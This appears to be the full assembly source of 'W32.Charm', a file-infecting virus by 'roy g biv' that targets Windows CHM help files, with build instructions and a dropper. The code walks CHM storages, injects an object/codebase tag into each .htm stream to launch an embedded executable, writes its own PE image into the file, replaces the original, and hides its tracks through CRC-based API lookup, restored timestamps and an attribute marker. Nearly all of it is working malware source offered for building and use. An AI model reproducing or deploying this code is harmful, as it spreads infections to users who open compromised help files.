| ||||||||||||||||
|
W32.Charm
by roy g biv
See also the project folder
comment ;)
W32.Charm by roy g biv
- parasitic direct action infector of CHM files
- infects files in current directory only
- two-stage approach, by adding codebase to htm files and inserting exe file
- uses CRCs instead of API names
---
to build this thing:
tasm
----
tasm32 /ml /m3 charm
tlink32 /B:400000 /x charm,,,import32
Virus is not self-modifying, so no need to alter section attributes
(;
.386
.model flat
extern CreateFileW:proc
extern GetTickCount:proc
extern WriteFile:proc
extern CloseHandle:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
include charm.inc
dropper label near
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, olecrc_count
mov ebx, offset olenames
mov edi, offset olecrcbegin
call create_crcs
xor ebp, ebp
push ebp
push ebp
push CREATE_ALWAYS
push ebp
push ebp
push GENERIC_WRITE
push offset exename
call CreateFileW
push eax
push eax
push esp
push offset charm_codeend - offset charm_begin + exesize + 1ffh
push offset charm_hdr
push eax
call WriteFile
call CloseHandle
xor eax, eax
push eax
push offset txttitle
push offset txtbody
push eax
call MessageBoxA
call ExitProcess
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
exesize equ 94h
charm_hdr label near
db 'M', 'Z' ;00
db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
dw 14ch ;10 04 machine (overload for forwarder chain)
dw 1 ;12 06 number of sections (overload for forwarder chain)
dd 2 ;14 08 date/time stamp (overload for dll name RVA)
dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
db "rgb!" ;1c 10 number of symbols
dw 40h ;20 14 size of optional header
dw 30fh ;22 16 characteristics
dw 10bh ;24 18 magic
db 'r' ;26 1a major linker
db 'r' ;27 1b minor linker
dd 0 ;28 1c size of code (overload for import table terminator)
dd 56h ;2c 20 size of init data (overload for import name table RVA)
dd 0 ;30 24 size of uninit data (overload for import name table terminator)
dd exesize + 1000h ;34 28 entry point
db "rgb!" ;38 2c base of code
dd 0ch ;3c 30 base of data (overload for lfanew)
dd 400000h ;40 34 image base
dd 1000h ;44 38 section align
dd 200h ;48 3c file align
db "rg" ;4c 40 major os
db "b!" ;4e 42 minor os
db "rg" ;50 44 major image
db "b!" ;52 46 minor image
dw 4 ;54 48 major subsys
dw 0 ;56 4a minor subsys (overload for import name table)
db "Arc", 0 ;58 4c reserved (overload for import name table)
dd (offset charm_codeend - offset charm_begin + exesize + 1fffh) and not 0fffh
;5c 50 size of image
dd exesize ;60 54 size of headers
dd 0 ;64 58 checksum (overload for section name)
dw 2 ;68 5c subsystem (overload for section name)
dw 0 ;6a 5e dll characteristics (overload for section name)
dd 1 ;6c 60 size of stack reserve (overload for virtual size)
dd 1000h ;70 64 size of stack commit (overload for virtual address)
dd (offset charm_codeend - offset charm_begin + exesize + 1ffh) and not 1ffh
;74 68 size of heap reserve (overload for file size)
dd 1 ;78 6c size of heap commit (overload for file offset)
db "rgb!" ;7c 70 loader flags (overload for pointer to relocs)
dd 2 ;80 74 number of rva and sizes (overload for pointer to line numbers)
dd 0 ;84 78 export (overload for reloc table and line numbers)
dd 0e0000000h ;88 7c export (overload for section characteristics)
dd 1008h ;8c 80 import
dd 0 ;90 84 import
;94
;-----------------------------------------------------------------------------
;main virus body. everything happens in here
;-----------------------------------------------------------------------------
charm_begin proc near
mov dword ptr ds:[40102ch], 56h ;restore overwritten entry
xor esi, esi
lods dword ptr fs:[esi]
push eax
mov dword ptr fs:[esi - 4], esp
inc eax
walk_seh label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne walk_seh
enter size STATSTG + size WIN32_FIND_DATAW - 4, 0
;-4 because EBP saved automatically
lods dword ptr [esi]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset check_ole - offset krncrcend + 4
db "CHarM - roy g biv" ;don't press F1! ;)
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne find_mzhdr
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
lea ecx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Ordinal Table RVA
lea ebp, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
exename dw ".", "e", "x", "e", 0
;-----------------------------------------------------------------------------
;get OLE32 APIs
;-----------------------------------------------------------------------------
check_ole label near
call load_ole
db "ole32", 0
load_ole label near
call dword ptr [esp + krncrcstk.kLoadLibraryA - (olecrc_count shl 2)]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
olecrcbegin label near ;place < 80h bytes from call for smaller code
dd (olecrc_count + 1) dup (0)
olecrcend label near
dd offset oleinit - offset olecrcend + 4
;-----------------------------------------------------------------------------
;initialise ITSS support
;-----------------------------------------------------------------------------
oleinit label near
lea ebp, dword ptr [esp + size krncrcstk - 4]
xor ebx, ebx
push ebx
call dword ptr [ebp + krncrcstk.oCoInitialize - size krncrcstk]
push eax
push esp
call skip_riid
CLSID <88CC31DEh, 27ABh, 11D0h, 9Dh, 0F9h, 00, 0A0h, 0C9h, 22h, 0E6h, 0ECh>
skip_riid label near
push CLSCTX_INPROC_SERVER
push ebx
call skip_rclsid
CLSID <5D02926Ah, 212Eh, 11D0h, 9Dh, 0F9h, 00, 0A0h, 0C9h, 22h, 0E6h, 0ECh>
skip_rclsid label near
call dword ptr [ebp + krncrcstk.oCoCreateInstance - size krncrcstk]
pop esi
lea eax, dword ptr [ebp + size STATSTG]
push eax
call skip_mask
dw "*", ".", "c", "h", "m", 0
;-----------------------------------------------------------------------------
;find some CHM files
;-----------------------------------------------------------------------------
skip_mask label near
call dword ptr [ebp + krncrcstk.kFindFirstFileW - size krncrcstk]
inc eax
je charm_exit
dec eax
push eax
;-----------------------------------------------------------------------------
;check for infection marker (read-only file attrributes)
;-----------------------------------------------------------------------------
enum_file label near
bts dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.dwFileAttributes], ebx
jb find_next
push esi
call infect_file ;Super Nashwan power ;)
push dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.dwFileAttributes]
lea eax, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName]
push eax
push ebx
push ebx
push OPEN_EXISTING
push ebx
push FILE_SHARE_READ
push GENERIC_WRITE
push eax
call dword ptr [ebp + krncrcstk.kCreateFileW - size krncrcstk]
push eax
lea ecx, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.ftLastWriteTime]
push ecx
sub ecx, 8
push ecx
sub ecx, 8
push ecx
push eax
call dword ptr [ebp + krncrcstk.kSetFileTime - size krncrcstk]
call dword ptr [ebp + krncrcstk.kCloseHandle - size krncrcstk]
call dword ptr [ebp + krncrcstk.kSetFileAttributesW - size krncrcstk]
pop esi
find_next label near
pop eax
push eax
lea ecx, dword ptr [ebp + size STATSTG]
push ecx
push eax
call dword ptr [ebp + krncrcstk.kFindNextFileW - size krncrcstk]
test eax, eax
jne enum_file
call dword ptr [ebp + krncrcstk.kFindClose - size krncrcstk]
;game over
charm_exit label near
push esi
lods dword ptr [esi]
call dword ptr [eax + Release]
call dword ptr [ebp + krncrcstk.oCoUninitialize - size krncrcstk]
call dword ptr [ebp + krncrcstk.kExitProcess - size krncrcstk]
;-----------------------------------------------------------------------------
;infect file
;algorithm: for each file whose suffix is ".htm", add codebase reference
; when entire file is processed, add exe file. so simple
;-----------------------------------------------------------------------------
infect_file proc near
push eax
push esp
push ebx
push ebx
push STGM_READ or STGM_SHARE_EXCLUSIVE
push ebx
lea eax, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName]
push eax
push esi
mov eax, dword ptr [esi]
call dword ptr [eax + StgOpenStorage]
test eax, eax
jne infect_ret
push "c"
mov eax, esp
push esp
push ebx
push STGM_WRITE or STGM_SHARE_EXCLUSIVE
push eax
push esi
lods dword ptr [esi]
call dword ptr [eax + StgCreateDocfile]
test eax, eax
je enum_first
pop eax
infect_ret label near
pop eax
ret
db "05/04/05"
test_stg label near
mov edi, dword ptr [ebp + STATSTG.pwcsName]
cmp edi, ebx
je enum_next
;-----------------------------------------------------------------------------
;handle storages and streams only, discard all else
;-----------------------------------------------------------------------------
test_str label near
mov ecx, dword ptr [ebp + STATSTG.type]
jecxz free_next
dec ecx
loopne free_next
inc ecx
sete cl
push eax
mov eax, esp
push ecx
push eax
push ebx
jne skip_exclude
;-----------------------------------------------------------------------------
;OpenStorage() requires extra parameter
;-----------------------------------------------------------------------------
push ebx
skip_exclude label near
push STGM_READ or STGM_SHARE_EXCLUSIVE
push ebx
push edi
mov esi, dword ptr [ecx * 4 + esp + 2ch]
push esi
lods dword ptr [esi]
call dword ptr [ecx * 8 + eax + OpenStream]
pop ecx
push eax
mov eax, esp
push ecx
push eax
push ebx
push ebx
push STGM_WRITE or STGM_SHARE_EXCLUSIVE
push edi
mov esi, dword ptr [esp + 2ch]
push esi
lods dword ptr [esi]
call dword ptr [ecx * 8 + eax + CreateStream]
pop ecx
loop handle_str
;-----------------------------------------------------------------------------
;enter storage and continue parsing (non-recursive algorithm)
;-----------------------------------------------------------------------------
mov eax, dword ptr [esp + 10h]
enum_first label near
inc eax
push eax
push edi
push eax
push esp
push ebx
push ebx
push ebx
mov esi, dword ptr [esp + 20h]
push esi
lods dword ptr [esi]
call dword ptr [eax + EnumElements]
jmp enum_next
free_next label near
push edi
call dword ptr [ebp + krncrcstk.oCoTaskMemFree - size krncrcstk]
enum_next label near
pop esi
push esi
push ebx
push ebp
push 1
push esi
lods dword ptr [esi]
call dword ptr [eax + Next]
xchg ecx, eax
loop test_stg
pop esi
push esi
lods dword ptr [esi]
call dword ptr [eax + Release]
pop edi
release_str label near
pop ecx
pop esi
push ecx
loop skip_exe
;-----------------------------------------------------------------------------
;add exe file as final step
;-----------------------------------------------------------------------------
push esi
push eax
push esp
push ebx
push ebx
push STGM_WRITE or STGM_SHARE_EXCLUSIVE
push offset exename - offset charm_begin + exesize + 401000h
push esi
mov eax, dword ptr [esi]
call dword ptr [eax + CreateStream]
pop esi
push ebx
push offset charm_codeend - offset charm_begin + exesize + 1ffh
push 401000h
push esi
mov eax, dword ptr [esi]
call dword ptr [eax + Write]
push esi
lods dword ptr [esi]
call dword ptr [eax + Release]
pop esi
skip_exe label near
push esi
lods dword ptr [esi]
call dword ptr [eax + Release]
pop ecx
pop esi
push ecx
push esi
lods dword ptr [esi]
call dword ptr [eax + Release]
pop ecx
loop free_next
;-----------------------------------------------------------------------------
;replace original file with infected file
;-----------------------------------------------------------------------------
push "c"
mov eax, esp
push MOVEFILE_REPLACE_EXISTING or MOVEFILE_WRITE_THROUGH
lea ecx, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName]
push ecx
push eax
call dword ptr [ebp + krncrcstk.kMoveFileExW - size krncrcstk]
pop eax
ret
;-----------------------------------------------------------------------------
;copy stream data
;-----------------------------------------------------------------------------
handle_str label near
push ebx
mov esi, dword ptr [ebp + STATSTG.cbSize]
push esi
push ebx
call dword ptr [ebp + krncrcstk.kGlobalAlloc - size krncrcstk]
push eax
push ebx
push esi
push eax
push dword ptr [esp + 14h]
push ebx
push esi
push eax
mov esi, dword ptr [esp + 28h]
push esi
lods dword ptr [esi]
call dword ptr [eax + Read]
pop esi
push esi
mov eax, dword ptr [esi]
call dword ptr [eax + Write]
call dword ptr [ebp + krncrcstk.kGlobalFree - size krncrcstk]
push edi
call dword ptr [ebp + krncrcstk.klstrlenW - size krncrcstk]
xchg ecx, eax
mov eax, dword ptr [ecx * 2 + edi - 8]
or eax, 00200020h
cmp eax, 0068002eh
jne branch_release
mov eax, dword ptr [ecx * 2 + edi - 4]
or eax, 00200020h
cmp eax, 006d0074h
jne branch_release
;-----------------------------------------------------------------------------
;if suffix is ".htm", add codebase reference
;-----------------------------------------------------------------------------
push ebx
push offset codebase_e - offset codebase_b
call skip_codebase
codebase_b label near
db "<object classid='clsid:1baddeed'codebase='.exe'></object>"
codebase_e label near
skip_codebase label near
push esi
lods dword ptr [esi]
call dword ptr [eax + Write]
branch_release label near
jmp release_str
db "*4U2NV*" ;that is, unless you're reading this
infect_file endp
charm_codeend label near
charm_begin endp
db (offset charm_codeend - offset charm_begin + exesize + 1ffh) dup (0)
create_crcs proc near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
stos dword ptr [edi]
dec edx
jne create_crcs
ret
create_crcs endp
;must be alphabetical order
;API names are not present in replications, only in dropper
krnnames db "CloseHandle" , 0
db "CreateFileW" , 0
db "ExitProcess" , 0
db "FindClose" , 0
db "FindFirstFileW" , 0
db "FindNextFileW" , 0
db "GlobalAlloc" , 0
db "GlobalFree" , 0
db "LoadLibraryA" , 0
db "MoveFileExW" , 0
db "SetFileAttributesW", 0
db "SetFileTime" , 0
db "lstrlenW" , 0
olenames db "CoCreateInstance", 0
db "CoInitialize" , 0
db "CoTaskMemFree" , 0
db "CoUninitialize" , 0
txttitle db "Charm", 0
txtbody db "now run .exe", 0
.code
nop
end dropper
| ||||||||||||||||